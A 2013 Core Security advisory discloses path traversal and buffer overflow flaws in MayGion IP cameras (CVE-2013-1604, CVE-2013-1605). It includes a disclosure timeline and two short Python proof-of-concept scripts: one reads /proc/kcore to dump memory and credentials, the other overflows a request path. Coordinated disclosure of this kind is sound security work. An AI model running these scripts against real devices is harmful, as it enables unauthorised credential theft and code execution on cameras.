Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MayGion IP Cameras multiple vulnerabilities 1. *Advisory Information* Title: MayGion IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0322 Advisory URL: http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: MayGion Release mode: Coordinated release 2. *Vulnerability Information* Class: Path traversal [CWE-22], Buffer overflow [CWE-119] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1604, CVE-2013-1605 3. *Vulnerability Description* Multiple vulnerabilities have been found in MayGion IP cameras  based on firmware v09.27 and below, that could allow an unauthenticated remote attacker: 1. [CVE-2013-1604] to dump the camera's memory and retrieve user credentials, 2. [CVE-2013-1605] to execute arbitrary code. 4. *Vulnerable Packages* . MayGion IP cameras based on firmware 2011.27.09. . Other firmware versions are probably affected too but they were not checked. 5. *Non-Vulnerable Packages* . H.264 ipcam firmware 2013.04.22. 6. *Credits* These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. 7. *Technical Description / Proof of Concept Code* 7.1. *User Credentials Leaked via Path Traversal* [CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() conn.close() -----/ 7.2. *Buffer overflow* [CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition. /----- import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = resp.read() conn.close() -----/ 8. *Report Timeline* . 2013-05-02: Core Security Technologies notifies MayGion of the vulnerabilities. Publication date is set for May 29th, 2013. . 2013-05-02: Vendor asks for a report with technical information. . 2013-05-03: A draft advisory containing technical details sent to MayGion team. . 2013-05-03: Vendor notifies that all vulnerabilities were fixed in the last firmware version, released April 22nd, 2013. . 2013-05-09: Core asks for a list of affected devices and firmware. No reply received. . 2013-05-28: Advisory CORE-2013-0322 is published. 9. *References*  http://www.maygion.com 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.
